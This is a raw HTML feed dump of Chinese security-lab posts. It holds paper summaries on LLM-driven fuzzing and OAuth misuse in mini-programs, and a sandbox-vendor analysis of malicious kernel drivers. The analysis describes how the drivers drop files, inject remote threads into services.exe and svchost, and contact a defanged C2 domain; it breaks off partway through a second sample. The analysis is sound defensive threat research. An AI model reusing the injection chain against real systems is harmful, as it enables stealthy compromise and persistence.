data-autoskip="1" style="text-align: justify;line-height: 1.75em;letter-spacing: 1.5px;font-size: 14px;color: #333333;background-color: transparent;" data-index="2"><p><span leaf="">尽管大语言模型（LLM）具备自动化生成驱动的潜力，但现有研究局限于单轮生成，存在函数粒度过粗、生成流程与真实数据流不匹配等问题，导致出现LLM幻觉、覆盖率受限。为此，论文提出SynapseFlow，一种新型的模糊测试驱动自动生成工具。该工具通过两项核心创新突破上述局限：一是数据流感知的函数聚合，从源代码中构建结构体流图，提取具有数据依赖关系的函数三元组，确保驱动逻辑精确匹配真实程序行为；二是分阶段、可回滚的生成工作流，将驱动合成分解为四个可校验的阶段，并引入回滚机制以实时修正生成错误，保障最终驱动的语法与语义正确性。论文在25个真实世界开源项目上对SynapseFlow进行了评估。结果表明，相较于当前最先进的工具OSS-Fuzz-Gen（Google）、CKGFuzzer（ICSE 2025）和PromeFuzz（CCS 2025），SynapseFlow 分别带来3.07倍、1.71倍和4.26倍的分支覆盖率(llvm-cov branch)提升，以及1.77倍、1.51倍和1.36倍的漏洞检出率提升。此外，SynapseFlow已成功发现7个此前未知的漏洞，其中5个获得CVE 编号，充分验证了其在真实场景下的实用价值。</span></p></div></div><div><div><p nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.2471655328798186" data-w="882" style="width: 100%;display: block;vertical-align:baseline;box-sizing:border-box;max-width:100% !important;" data-width="100%" src="https://wechat2rss.xlab.app/img-proxy/?k=b82e041d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FQSjGzxHEMduQFDIx5aH7F3yc7mNaG1YjXaxTq99jhld4rIbicuiaIYlo4B2J82jxka0yw74yBfV05t4eOl0yoxZhibsxCLHx9yRrgHXF30dBWc%2F640%3Ffrom%3Dappmsg"/></p></div></div></div></div></div></div><div><div data-tools="135编辑器" data-id="148272"><div style="box-sizing: border-box;margin: 0px 0px -10px;"><p style="text-align: center;color: #0360ea;"><strong style="font-size: 18px;color: #0360ea;"><span leaf="">第三篇</span></strong></p></div><div style="margin: 10px auto;display: flex;justify-content: center;"><div style="background: linear-gradient(to right, #0360ea, #0ef5cb);border-radius: 6px;padding: 5px 20px;box-sizing: border-box;"><div style="display: flex;justify-content: center;align-items: center;"><div style="padding: 0 10px;box-sizing: border-box;"><div style="font-size: 16px;color: #ffffff;text-align: center;"><div data-brushtype="text"><p><span leaf="">小程序中的 OAuth 鉴权滥用与身份劫持</span></p></div></div></div></div></div></div></div><div data-tools="135编辑器" data-id="160983" data-width="92%" style="width: 92%;flex: 0 0 92%;margin-left: auto;margin-right: auto;box-sizing:border-box;max-width:92% !important;"><div style="margin: 10px auto;"><div style="background-color: #ffffff;padding: 15px;box-sizing: border-box;"><div><div data-autoskip="1" style="text-align: justify;line-height: 1.75em;letter-spacing: 1.5px;font-size: 14px;color: #333333;background-color: transparent;" data-index="0"><p><span leaf="">第三篇论文是由奇安信星图实验室、山东大学，上海交通大学，清华大学与加拿大西蒙菲莎大学联合完成的小程序安全相关工作，论文题目为《Mini-Programs, Mega-Problems: Unveiling OAuth-based Authentication Misuses in Mini-Programs via Dynamic Analysis》。这也是星图实验室继 ACM CCS 2024 之后，在小程序安全领域斩获的又一项高水平学术成果。本研究主要针对于小程序生态中基于 OAuth 的鉴权机制的安全性分析。</span></p></div></div><div><div><p nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.3681868743047831" data-w="899" style="width: 100%;display: block;vertical-align:baseline;box-sizing:border-box;max-width:100% !important;" data-width="100%" src="https://wechat2rss.xlab.app/img-proxy/?k=66f12141&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FQSjGzxHEMdsfzmmmsLck6vibDaw0xasLhZ3KXacrZaFZMHwVZ2lcYVTuQYQUIv3xl9VJDZeaNhCkaVshwWYehUBXYgG4r0ERJPXicfSlITzwM%2F640%3Ffrom%3Dappmsg"/></p></div></div><div><div data-autoskip="1" style="text-align: justify;line-height: 1.75em;letter-spacing: 1.5px;font-size: 14px;color: #333333;background-color: transparent;" data-index="2"><p><span leaf="">随着微信、百度等超级APP中轻量级小程序的广泛部署，基于OAuth的鉴权机制（OAuth-based Authentication, OBA）已成为应用接入的标配，但也随之引入了由开发者实现不当造成的严重安全隐患。 本工作首次系统性地研究并界定了三种全新的运行时OBA滥用模式，并提出了首个针对小程序OBA滥用的大规模动态分析框架MINIAUTH。 该工具通过自动化探索与OCR辅助技术精准定位鉴权入口，并动态触发和执行完整的OBA工作流，进而截获并分析深层的网络交互流量。在此基础上，MINIAUTH对包含微信和百度的超过46,000个真实世界小程序进行了大规模安全测量, 并在实网环境中高效发现了1,688个小程序中的1,834个之前未知的滥用案例，并获得了11个CNVD/CNNVD漏洞编号。同时曝光了部分超级APP在底层OBA API加密设计上的平台级密码学缺陷（如会话密钥可被暴力破解）。评估结果不仅证实了MINIAUTH的有效性，也深刻揭示了此类OBA滥用漏洞在各大超级APP与小程序生态中的普遍威胁。</span></p></div></div><div><div><p nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.4967978042086002" data-w="1093" style="width: 100%;display: block;vertical-align:baseline;box-sizing:border-box;max-width:100% !important;" data-width="100%" src="https://wechat2rss.xlab.app/img-proxy/?k=57bbe185&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQSjGzxHEMdvhUIicO5IavXfkfY30wYPnBnZzyHiaHibPZrUsKD1gmZ4cwUHOXqr3toHKRahB85q69Fttc9QicfFwlS46m8iaMR9ibScBfWHZkCHvk%2F640%3Ffrom%3Dappmsg"/></p></div></div></div></div></div></div></div><p style="display: none;"><mp-style-type data-value="10000"></mp-style-type></p>



<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=dc024153&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg4OTU4MjQ4Mg%3D%3D%26mid%3D2247489218%26idx%3D1%26sn%3Dc577672a2ebe15cb66e81e5ac712f3ae">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Wed, 10 Jun 2026 19:39:00 +0800</pubDate>
    </item>
    <item>
      <title>【天穹】突破内核级对抗迷雾：天穹沙箱内核驱动深度分析上线</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg4OTU4MjQ4Mg==&amp;mid=2247489168&amp;idx=1&amp;sn=11eabbdd46d51698d8f31922153e4bb4</link>
      <description></description>
      <content:encoded><![CDATA[<p><span>星图实验室</span> <span>2026-05-28 17:00</span> <span style="display: inline-block;">北京</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=e355cdcc&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FQSjGzxHEMdunkhqpgOgWOpnJ4aHAEEy2GtXOaxwUMSwBjYfZrF7A8OWDq77hZSacXPn0kW8GwroCsvFX3HcthLw8yedYQYlicd9ktUR5MU7w%2F0%3Fwx_fmt%3Djpeg"/></p>
  
  <div data-role="title" data-tools="135编辑器" data-id="125387" data-pm-slice="0 0 []"><div style="margin: 10px auto;"><div style="border-top: 1px solid #6ab4fd;padding: 0 0 0 4%;box-sizing:border-box;"><div style="display: flex;justify-content: flex-start;align-items: flex-start;margin: -6px 0 0;"><p style="font-size: 16px;color: #ffffff;text-align: center;background-color: #4e84d8;padding: 4px 10px;box-sizing:border-box;"><strong data-brushtype="text"><span leaf=""><span textstyle="" style="font-size: 18px;">一、概述   </span></span></strong></p></div></div></div></div><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">天穹沙箱正式推出</span><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">内核行为深度追踪</span></strong><span leaf="">功能，以应对近期日益增多的内核级恶意驱动样本。这类样本通常借助合法驱动加载机制或系统漏洞，在内核层实施恶意操作，给分析工作带来极大挑战。</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">借助这一新功能，天穹沙箱在动态分析样本时，</span><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">实时监控驱动加载、内核对象操作及跨进程注入等底层行为</span></strong><span leaf="">，有效绕过混淆，还原样本的真实行为。当前，Windows 分析环境已支持该深度分析能力，显著增强了对 Rootkit 和内核级木马的告警能力。</span></p><div data-role="title" data-tools="135编辑器" data-id="125387" data-pm-slice="0 0 []"><div style="margin: 10px auto;"><div style="border-top: 1px solid #6ab4fd;padding: 0 0 0 4%;box-sizing:border-box;"><div style="display: flex;justify-content: flex-start;align-items: flex-start;margin: -6px 0 0;"><p style="font-size: 16px;color: #ffffff;text-align: center;background-color: #4e84d8;padding: 4px 10px;box-sizing:border-box;"><strong data-brushtype="text"><span leaf=""><span textstyle="" style="font-size: 18px;">二、检测能力展示</span></span></strong></p></div></div></div></div><h1 style="box-sizing: border-box;font-size: 1.5rem;margin: 0.5rem 0px;line-height: 1.5rem;font-weight: 500;color: rgb(32, 32, 32);font-family: sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf=""><span textstyle="" style="font-size: 20px;">样本一</span></span></h1><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">该样本利用内核态组件向系统临时目录释放恶意文件，再通过远程线程注入与内存解密技术，将有效载荷注入系统关键进程，从而实现持久化驻留与命令控制通信。此类攻击具备内核级权限、无文件落地及多层混淆等特性，令传统静态检测手段难以有效识别。</span></p><h3 style="box-sizing: border-box;font-size: 1.25rem;margin: -56px 0px 0.5rem;line-height: 1.5rem;font-weight: 500;padding-top: 70px;color: rgb(32, 32, 32);font-family: sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf=""><span textstyle="" style="font-size: 20px;">样本信息</span></span></h3><ul style="box-sizing: border-box;margin: 0px;padding: 0px 0px 0px 2rem;overflow-wrap: break-word;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li style="box-sizing: border-box;"><p><span leaf="">样本名： 40270b20bd748bf333c034b8e5e59e19.sys</span></p></li><li style="box-sizing: border-box;"><p><span leaf="">SHA1： 142a2b980063badc536c20fc11d77716ac868d62</span></p></li><li style="box-sizing: border-box;"><p><span leaf="">文件类型： SYS</span></p></li><li style="box-sizing: border-box;"><p><span leaf="">文件大小：754.34 KB (772448 bytes)</span></p></li><li style="box-sizing: border-box;"><p><span leaf="">分析报告链接：</span><span leaf=""><a href="https://sandbox.qianxin.com/tq/report/toViewReport.do?rid=fe83cb547ee7d49b6a889c3eccce75fa&amp;sk=73041861" target="_blank">https://sandbox.qianxin.com/tq/report/toViewReport.do?rid=fe83cb547ee7d49b6a889c3eccce75fa&amp;sk=73041861</a></span></p></li><li style="box-sizing: border-box;"><p><span leaf="">签名信息：</span></p></li></ul><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="apache"><code><span leaf="">  <span class="code-snippet__attribute">Verified</span>:       Signed</span></code><br/><code><span leaf="">  <span class="code-snippet__attribute">Signing</span> date:   <span class="code-snippet__number">23</span>:<span class="code-snippet__number">33</span> <span class="code-snippet__number">2025</span>/<span class="code-snippet__number">6</span>/<span class="code-snippet__number">9</span></span></code><br/><code><span leaf="">  <span class="code-snippet__attribute">Publisher</span>:      山西荣**科贸有限公司</span></code><br/><code><span leaf="">  <span class="code-snippet__attribute">Company</span>:        Windows (R) Win <span class="code-snippet__number">7</span> DDK provider</span></code><br/><code><span leaf="">  <span class="code-snippet__attribute">Description</span>:    z_driver Filter Driver</span></code><br/><code><span leaf="">  <span class="code-snippet__attribute">Product</span>:        Windows (R) Win <span class="code-snippet__number">7</span> DDK driver</span></code><br/><code><span leaf="">  <span class="code-snippet__attribute">Prod</span> version:   <span class="code-snippet__number">10</span>.<span class="code-snippet__number">0</span>.<span class="code-snippet__number">10011</span>.<span class="code-snippet__number">16384</span></span></code><br/><code><span leaf="">  <span class="code-snippet__attribute">File</span> version:   <span class="code-snippet__number">10</span>.<span class="code-snippet__number">0</span>.<span class="code-snippet__number">10011</span>.<span class="code-snippet__number">16384</span></span></code><br/><code><span leaf="">  <span class="code-snippet__attribute">MachineType</span>:    <span class="code-snippet__number">64</span>-bit</span></code><br/></pre></p><h3 style="box-sizing: border-box;font-size: 1.25rem;margin: -56px 0px 0.5rem;line-height: 1.5rem;font-weight: 500;padding-top: 70px;color: rgb(32, 32, 32);font-family: sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" data-pm-slice="0 0 []"><span leaf="">攻击手法</span></h3><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">基于天穹沙箱动态行为监控，该样本的攻击流程如下：</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">1. 文件释放阶段</span></strong></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">恶意内核驱动加载后，调用内核文件操作接口，将三个关键组件 vminstd.tmp、wdscore.dll、rundll32.exe 释放至 </span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">C:\Windows\Temp</span></code><span leaf=""> 目录，如图 1 所示。</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" nodeleaf=""><img data-aistatus="1" alt="write_file" class="rich_pages wxw-img" data-ratio="0.17086834733893558" data-type="png" data-w="714" style="box-sizing: border-box;border: 0px;text-align: center;margin: 0px auto;display: block;max-width: 100%;max-height: 1024px;" data-imgfileid="100005511" src="https://wechat2rss.xlab.app/img-proxy/?k=1e53fd2c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQSjGzxHEMdsslqwicgiatibJQtZLTMwm7cX5J7AIJpiaAHFlw8uQN4kRC6iaCE4YtjSlebCa23gAxibPYkZxP2Tlk1co7DFfAGxUpQwaktcoicvO1k%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><center style="box-sizing: border-box;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">图1 释放文件</span></center><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">2. 注入执行阶段</span></strong></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">枚举内核级进程，精确搜索并定位至系统关键进程 services.exe。该进程作为服务控制管理器，具有较高运行权限且常被安全策略豁免，适合作为注入目标。利用内核 API（如 KeAttachProcess 或直接操作进程对象 EPROCESS）将当前执行上下文附加到已定位的 services.exe 进程中，获得对该进程内存空间及线程操控的访问能力，如图 2 所示。</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">在已附加的进程环境中，通过 NtCreateThreadEx 在 services.exe 内部创建一个远程线程。设置线程的起始地址为 WinExec 函数的入口点，并将线程参数指向要执行的命令行 </span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">C:\Windows\Temp\rundll32.exe</span></code><span leaf="">，实现用户态载荷的隐蔽启动。</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" nodeleaf=""><img data-aistatus="1" alt="remote_thread_inject" class="rich_pages wxw-img" data-ratio="0.06494960806270997" data-type="png" data-w="893" style="box-sizing: border-box;border: 0px;text-align: center;margin: 0px auto;display: block;max-width: 100%;max-height: 1024px;" data-imgfileid="100005512" src="https://wechat2rss.xlab.app/img-proxy/?k=6c0f9c54&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FQSjGzxHEMdtBibKd9r4FsEoTHoOxBSnbTUluiaD0BNibrb310tKWicqLduV0RobwRV1xyHHUwS9Iymj72lLwicpMLibZgmT1se3vJGxG6LyAowaXw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><center style="box-sizing: border-box;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">图2 内核注入进程</span></center><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">3. 内存解密与二次注入</span></strong></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">rundll32.exe 启动后读取同目录下的 vminstd.tmp 文件，在内存中完成解密操作，获取最终 PE 载荷。随后通过进程注入技术，将解密后的载荷写入 </span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">C:\Windows\system32\svchost.exe -k regsvcs</span></code><span leaf=""> 进程空间，借助系统服务进程实现权限维持与流量混淆，如图 3 所示。</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" nodeleaf=""><img data-aistatus="1" alt="second_inject" class="rich_pages wxw-img" data-ratio="0.19675262655205347" data-type="png" data-w="1047" style="box-sizing: border-box;border: 0px;text-align: center;margin: 0px auto;display: block;max-width: 100%;max-height: 1024px;" data-imgfileid="100005513" src="https://wechat2rss.xlab.app/img-proxy/?k=d9283dc8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FQSjGzxHEMduCndVpb0CxB4fHZD0YNZOXB2Dyr0s7LBwC5QqvMl59ictYg6EozSbjJzeP1PBynicdjBbp9AMGuUemYjMDf2B6fqKZCHP7wCElk%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><center style="box-sizing: border-box;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">图3 最终载荷注入</span></center><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">4. C2通信阶段</span></strong></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">解密载荷初始化网络模块，通过 HTTP/HTTPS 协议连接 </span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">dwav.cose[.]space</span></code><span leaf="">，上报主机信息并接收后续指令。</span></p><h2 style="box-sizing: border-box;font-size: 1.5rem;margin: -56px 0px 0.5rem;line-height: 1.5rem;font-weight: 500;padding-top: 70px;color: rgb(32, 32, 32);font-family: sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf=""><span textstyle="" style="font-size: 20px;">样本二</span></span></h2><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">该样本是一类融合了虚拟化保护与内核级 APC 注入技术的高级威胁样本。其使用 VMProtect 加密混淆后加载至内核态，运行时在内存中动态解密执行代码，并通过 KeInsertQueueApc 原语向关键系统进程 winlogon.exe 注入恶意逻辑，最终实现隐蔽的命令控制通信。此类攻击利用内核机制绕过用户态安全检测，具备极强的隐蔽性与对抗能力。</span></p><h3 style="box-sizing: border-box;font-size: 1.25rem;margin: -56px 0px 0.5rem;line-height: 1.5rem;font-weight: 500;padding-top: 70px;color: rgb(32, 32, 32);font-family: sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">样本信息</span></h3><ul style="box-sizing: border-box;margin: 0px;padding: 0px 0px 0px 2rem;overflow-wrap: break-word;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li style="box-sizing: border-box;"><p><span leaf="">样本名： 36eaf1ce966828e226b39003e5405b7ee4688b7a.sys</span></p></li><li style="box-sizing: border-box;"><p><span leaf="">SHA1： 